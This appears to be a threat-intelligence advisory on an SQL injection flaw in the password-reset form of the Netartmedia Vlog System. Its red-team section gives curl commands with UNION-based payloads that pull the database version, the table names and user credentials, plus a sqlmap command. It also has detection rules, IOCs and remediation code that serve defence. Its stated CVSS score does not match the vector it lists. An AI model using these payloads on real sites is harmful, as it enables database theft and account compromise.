CVE-2019-25641

Executive Summary

CVE-2019-25641 is a critical SQL injection vulnerability in the Netartmedia Vlog System, an unmaintained content management system. The flaw resides in the forgotten_password module, where the email POST parameter is directly concatenated into SQL queries without sanitization. An unauthenticated attacker can send crafted POST requests to index.php to extract sensitive database contents, including user credentials and session tokens. The vulnerability has a CVSS score of 8.2 (High) and is publicly documented with proof-of-concept code. No patch exists, and the vendor has not responded to disclosure attempts. This report provides full technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Possible data modification via stacked queries.
• Availability (A): High (H) – Potential denial of service via query disruption.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The Netartmedia Vlog System uses a PHP backend with MySQL. The forgotten_password module processes password reset requests by accepting an email parameter via POST. The vulnerable code snippet (conceptual) is:

$email = $_POST['email'];
$query = "SELECT * FROM users WHERE email = '$email'";
$result = mysqli_query($conn, $query);

Because $email is not sanitized or parameterized, an attacker can inject SQL commands. For example, submitting:

email=' OR '1'='1' -- -

Would result in the query:

SELECT * FROM users WHERE email = '' OR '1'='1' -- -'

This returns all rows from the users table. More sophisticated payloads can extract data via UNION-based or blind SQL injection.

Attack Flow:

1. Attacker sends a POST request to http://target/index.php?module=forgotten_password.
2. The email parameter contains SQL injection payload.
3. The server executes the malicious query and returns results (or error messages) to the attacker.
4. Attacker iterates to extract database schema, tables, and sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// index.php - forgotten_password module
$email = $_POST['email'];
$query = "SELECT * FROM users WHERE email = '$email'";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual – No official patch exists):

// index.php - forgotten_password module
$email = mysqli_real_escape_string($conn, $_POST['email']);
$query = "SELECT * FROM users WHERE email = '$email'";
$result = mysqli_query($conn, $query);

Or better, using prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE email = ?");
$stmt->bind_param("s", $_POST['email']);
$stmt->execute();
$result = $stmt->get_result();

Since no official patch is available, organizations must implement these fixes manually or migrate away from the product.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Download Netartmedia Vlog System (any version) from archive sources.
2. Set up a LAMP/LEMP stack (PHP 5.6+ recommended for compatibility).
3. Install the Vlog System and create a test database.
4. Ensure the forgotten_password module is accessible.

Exploitation Steps:

1. Basic SQLi Detection:

   curl -X POST http://target/index.php?module=forgotten_password \
   -d "email=test' OR '1'='1"
   

   If the response differs from a normal request (e.g., returns user data or different page content), the parameter is vulnerable.

2. Extract Database Version:

   curl -X POST http://target/index.php?module=forgotten_password \
   -d "email=' UNION SELECT @@version,2,3-- -"
   

3. Extract Table Names:

   curl -X POST http://target/index.php?module=forgotten_password \
   -d "email=' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

4. Extract User Credentials:

   curl -X POST http://target/index.php?module=forgotten_password \
   -d "email=' UNION SELECT username,password,email FROM users-- -"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target/index.php?module=forgotten_password" \
--data="email=test" --batch --dbs

Blue Team Section

Detection:

• Monitor POST requests to index.php with module=forgotten_password containing suspicious SQL keywords (UNION, SELECT, OR, --, #).
• Look for abnormal response sizes or error messages containing SQL syntax.
• Use WAF rules to block common SQLi patterns.

Hunting:

• Search web server logs for index.php?module=forgotten_password with unusual email parameter values.
• Correlate with database error logs for SQL syntax errors.

Containment:

• Immediately block the vulnerable endpoint at the WAF or web server level.
• If possible, disable the forgotten_password module until a patch is applied.
• Review database access logs for unauthorized queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /index.php?module=forgotten_password with email parameter containing SQL keywords.
  • Response bodies containing database error messages (e.g., You have an error in your SQL syntax).
  • Unusually large response sizes from the forgotten_password endpoint.

• Host IOCs:

  • Web server logs showing repeated index.php?module=forgotten_password requests with varying email values.
  • Database logs showing unexpected SELECT queries on information_schema or system tables.
  • Presence of sqlmap or similar tool artifacts in temporary directories.

• File IOCs:

  • Modified index.php or other PHP files if the attacker attempted to upload a webshell.
  • Suspicious files in the web root (e.g., cmd.php, shell.php).

Detection Engineering

YARA Rule

rule CVE_2019_25641_SQLi_Email {
    meta:
        description = "Detects SQL injection attempts targeting the email parameter in Netartmedia Vlog System"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25641"
    strings:
        $sqli1 = /email=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /email=.*\b(1=1|1=2|admin'|' OR '1'='1)\b/i
        $sqli3 = /email=.*\b(WAITFOR|DELAY|SLEEP|BENCHMARK)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Netartmedia Vlog System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the email parameter in the forgotten_password module of Netartmedia Vlog System.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'module=forgotten_password'
        cs-uri-stem: '/index.php'
    keywords:
        - 'email='
        - 'OR'
        - 'AND'
        - 'UNION'
        - 'SELECT'
        - '--'
        - '#'
        - '1=1'
        - '1=2'
    condition: selection and keywords
falsepositives:
    - Legitimate password reset requests with unusual email addresses (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25641 SQL Injection Attempt - Netartmedia Vlog System";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"module=forgotten_password"; http_uri;
    content:"email="; http_client_body;
    pcre:"/email=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the forgotten_password module by commenting out or removing the code in index.php.
2. Implement input validation – ensure the email parameter is sanitized using filter_var($email, FILTER_VALIDATE_EMAIL).
3. Use prepared statements for all database queries.
4. Apply a WAF rule to block SQLi patterns targeting the email parameter.

Long-Term Actions:

1. Migrate away from Netartmedia Vlog System – the product is unmaintained and has no patch.
2. Conduct a full security audit of any remaining Netartmedia components.
3. Monitor for similar vulnerabilities in other parts of the application.

Vendor Contact: Netartmedia has not responded to disclosure attempts. No official patch is expected.

Valters IT – DevSecOps & Cyber Threat Intelligence